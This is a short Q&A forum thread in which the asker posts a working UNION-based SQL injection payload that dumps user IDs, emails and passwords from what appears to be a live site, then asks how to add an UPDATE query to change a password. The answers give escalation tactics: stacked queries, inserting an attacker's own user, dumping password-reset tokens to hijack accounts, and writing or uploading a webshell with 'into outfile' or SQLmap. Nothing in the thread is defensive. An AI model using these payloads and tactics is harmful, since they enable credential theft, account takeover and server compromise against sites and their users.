SQL Injection update query

Question

I have a sqli and i can dump data from the DB with the query below func=REC&lastid=7491&start=3&uid=56+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat(uid,':',email,':',password) FROM user WHERE uid=56; --&token=6eadee0862e6fe05d588cb29c416d9

How can i add an update query to change the password? I've tried the query below but it did't work

func=REC&lastid=7491&start=3&uid=56+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,UPDATE
users SET password='xxxxxxx'; --&token=6eadee0862e6fe05d588cb29c416d9

Answer 1

The language/database framework on the server side is the best indicator on whether or you will be able to use stacked queries. If you can use stacked queries (executing multiple statements in one query: select * from users;drop table users;) it may be wiser to insert a user of your own, rather than altering an existing user.

If stacked queries are not possible you can often perform a password reset operation and then dump the password reset token from the database and use it to reset any users password.

As mentioned in other answers, you might be able to craft a webshell using union select into outfile for example. However that is often not feasible as it is a privileged database operation and requires the database server and web server to share the same file system and have weak permissions inside the web root.

Answer 2

Short answer: quite probably, you cannot. But if you can dump the current password and assuming it's not even hashed is that a problem ?

However, you may be able to upload a shell using SQLmap for example. Then you could possibly take over the server and perform more aggressive action, like altering the database.